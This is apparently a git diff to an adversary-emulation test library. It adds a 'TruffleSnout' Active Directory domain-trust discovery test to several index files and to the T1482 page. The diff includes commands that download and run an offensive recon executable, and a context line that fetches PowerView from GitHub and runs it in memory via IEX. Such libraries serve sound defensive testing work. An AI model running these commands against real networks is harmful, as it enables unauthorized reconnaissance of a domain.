diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv
index cccc6afd..44a18823 100644
--- a/atomics/Indexes/Indexes-CSV/index.csv
+++ b/atomics/Indexes/Indexes-CSV/index.csv
@@ -1089,6 +1089,7 @@ discovery,T1482,Domain Trust Discovery,4,Adfind - Enumerate Active Directory OUs
discovery,T1482,Domain Trust Discovery,5,Adfind - Enumerate Active Directory Trusts,15fe436d-e771-4ff3-b655-2dca9ba52834,command_prompt
discovery,T1482,Domain Trust Discovery,6,Get-DomainTrust with PowerView,f974894c-5991-4b19-aaf5-7cc2fe298c5d,powershell
discovery,T1482,Domain Trust Discovery,7,Get-ForestTrust with PowerView,58ed10e8-0738-4651-8408-3a3e9a526279,powershell
+discovery,T1482,Domain Trust Discovery,8,TruffleSnout - Listing AD Infrastructure,ea1b4f2d-5b82-4006-b64f-f2845608a3bf,command_prompt
discovery,T1083,File and Directory Discovery,1,File and Directory Discovery (cmd.exe),0e36303b-6762-4500-b003-127743b80ba6,command_prompt
discovery,T1083,File and Directory Discovery,2,File and Directory Discovery (PowerShell),2158908e-b7ef-4c21-8a83-3ce4dd05a924,powershell
discovery,T1083,File and Directory Discovery,3,Nix File and Directory Discovery,ffc8b249-372a-4b74-adcd-e4c0430842de,sh
diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv
index be38ea05..1e4fd91e 100644
--- a/atomics/Indexes/Indexes-CSV/windows-index.csv
+++ b/atomics/Indexes/Indexes-CSV/windows-index.csv
@@ -788,6 +788,7 @@ discovery,T1482,Domain Trust Discovery,4,Adfind - Enumerate Active Directory OUs
discovery,T1482,Domain Trust Discovery,5,Adfind - Enumerate Active Directory Trusts,15fe436d-e771-4ff3-b655-2dca9ba52834,command_prompt
discovery,T1482,Domain Trust Discovery,6,Get-DomainTrust with PowerView,f974894c-5991-4b19-aaf5-7cc2fe298c5d,powershell
discovery,T1482,Domain Trust Discovery,7,Get-ForestTrust with PowerView,58ed10e8-0738-4651-8408-3a3e9a526279,powershell
+discovery,T1482,Domain Trust Discovery,8,TruffleSnout - Listing AD Infrastructure,ea1b4f2d-5b82-4006-b64f-f2845608a3bf,command_prompt
discovery,T1083,File and Directory Discovery,1,File and Directory Discovery (cmd.exe),0e36303b-6762-4500-b003-127743b80ba6,command_prompt
discovery,T1083,File and Directory Discovery,2,File and Directory Discovery (PowerShell),2158908e-b7ef-4c21-8a83-3ce4dd05a924,powershell
discovery,T1083,File and Directory Discovery,5,Simulating MAZE Directory Enumeration,c6c34f61-1c3e-40fb-8a58-d017d88286d8,powershell
diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md
index 1058901e..28d2034a 100644
--- a/atomics/Indexes/Indexes-Markdown/index.md
+++ b/atomics/Indexes/Indexes-Markdown/index.md
@@ -1828,6 +1828,7 @@
- Atomic Test #5: Adfind - Enumerate Active Directory Trusts [windows]
- Atomic Test #6: Get-DomainTrust with PowerView [windows]
- Atomic Test #7: Get-ForestTrust with PowerView [windows]
+ - Atomic Test #8: TruffleSnout - Listing AD Infrastructure [windows]
- [T1083 File and Directory Discovery](../../T1083/T1083.md)
- Atomic Test #1: File and Directory Discovery (cmd.exe) [windows]
- Atomic Test #2: File and Directory Discovery (PowerShell) [windows]
diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md
index 5262842b..f6a2bc24 100644
--- a/atomics/Indexes/Indexes-Markdown/windows-index.md
+++ b/atomics/Indexes/Indexes-Markdown/windows-index.md
@@ -1341,6 +1341,7 @@
- Atomic Test #5: Adfind - Enumerate Active Directory Trusts [windows]
- Atomic Test #6: Get-DomainTrust with PowerView [windows]
- Atomic Test #7: Get-ForestTrust with PowerView [windows]
+ - Atomic Test #8: TruffleSnout - Listing AD Infrastructure [windows]
- [T1083 File and Directory Discovery](../../T1083/T1083.md)
- Atomic Test #1: File and Directory Discovery (cmd.exe) [windows]
- Atomic Test #2: File and Directory Discovery (PowerShell) [windows]
diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index 71a27e8b..796a3ed8 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -81682,6 +81682,39 @@ discovery:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose
name: powershell
+ - name: TruffleSnout - Listing AD Infrastructure
+ auto_generated_guid: ea1b4f2d-5b82-4006-b64f-f2845608a3bf
+ description: 'Iterative AD discovery toolkit for offensive operators. Situational
+ awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout
+
+ '
+ supported_platforms:
+ - windows
+ input_arguments:
+ trufflesnout_path:
+ description: Path to the TruffleSnout executable
+ type: Path
+ default: PathToAtomicsFolder\T1482\src\TruffleSnout.exe
+ domain:
+ description: Domain name to search on
+ type: String
+ default: "%userdomain%"
+ dependency_executor_name: powershell
+ dependencies:
+ - description: 'TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path})
+
+ '
+ prereq_command: 'if (Test-Path #{trufflesnout_path}) {exit 0} else {exit 1}
+
+ '
+ get_prereq_command: |
+ New-Item -ItemType Directory (Split-Path #{trufflesnout_path}) -Force | Out-Null
+ Invoke-WebRequest -Uri "https://github.com/dsnezhkov/TruffleSnout/releases/download/0.5/TruffleSnout.exe" -OutFile #{trufflesnout_path}
+ executor:
+ command: |
+ #{trufflesnout_path} forest -n #{domain}
+ #{trufflesnout_path} domain -n #{domain}
+ name: command_prompt
T1083:
technique:
x_mitre_platforms:
diff --git a/atomics/T1482/T1482.md b/atomics/T1482/T1482.md
index da730767..30227654 100644
--- a/atomics/T1482/T1482.md
+++ b/atomics/T1482/T1482.md
@@ -18,6 +18,8 @@
- [Atomic Test #7 - Get-ForestTrust with PowerView](#atomic-test-7---get-foresttrust-with-powerview)
+- [Atomic Test #8 - TruffleSnout - Listing AD Infrastructure](#atomic-test-8---trufflesnout---listing-ad-infrastructure)
+
@@ -293,4 +295,52 @@ IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d29
+
+
+
+## Atomic Test #8 - TruffleSnout - Listing AD Infrastructure
+Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout
+
+**Supported Platforms:** Windows
+
+
+**auto_generated_guid:** ea1b4f2d-5b82-4006-b64f-f2845608a3bf
+
+
+
+
+
+#### Inputs:
+| Name | Description | Type | Default Value |
+|------|-------------|------|---------------|
+| trufflesnout_path | Path to the TruffleSnout executable | Path | PathToAtomicsFolder\T1482\src\TruffleSnout.exe|
+| domain | Domain name to search on | String | %userdomain%|
+
+
+#### Attack Commands: Run with `command_prompt`!
+
+
+```cmd
+#{trufflesnout_path} forest -n #{domain}
+#{trufflesnout_path} domain -n #{domain}
+```
+
+
+
+
+#### Dependencies: Run with `powershell`!
+##### Description: TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path})
+##### Check Prereq Commands:
+```powershell
+if (Test-Path #{trufflesnout_path}) {exit 0} else {exit 1}
+```
+##### Get Prereq Commands:
+```powershell
+New-Item -ItemType Directory (Split-Path #{trufflesnout_path}) -Force | Out-Null
+Invoke-WebRequest -Uri "https://github.com/dsnezhkov/TruffleSnout/releases/download/0.5/TruffleSnout.exe" -OutFile #{trufflesnout_path}
+```
+
+
+
+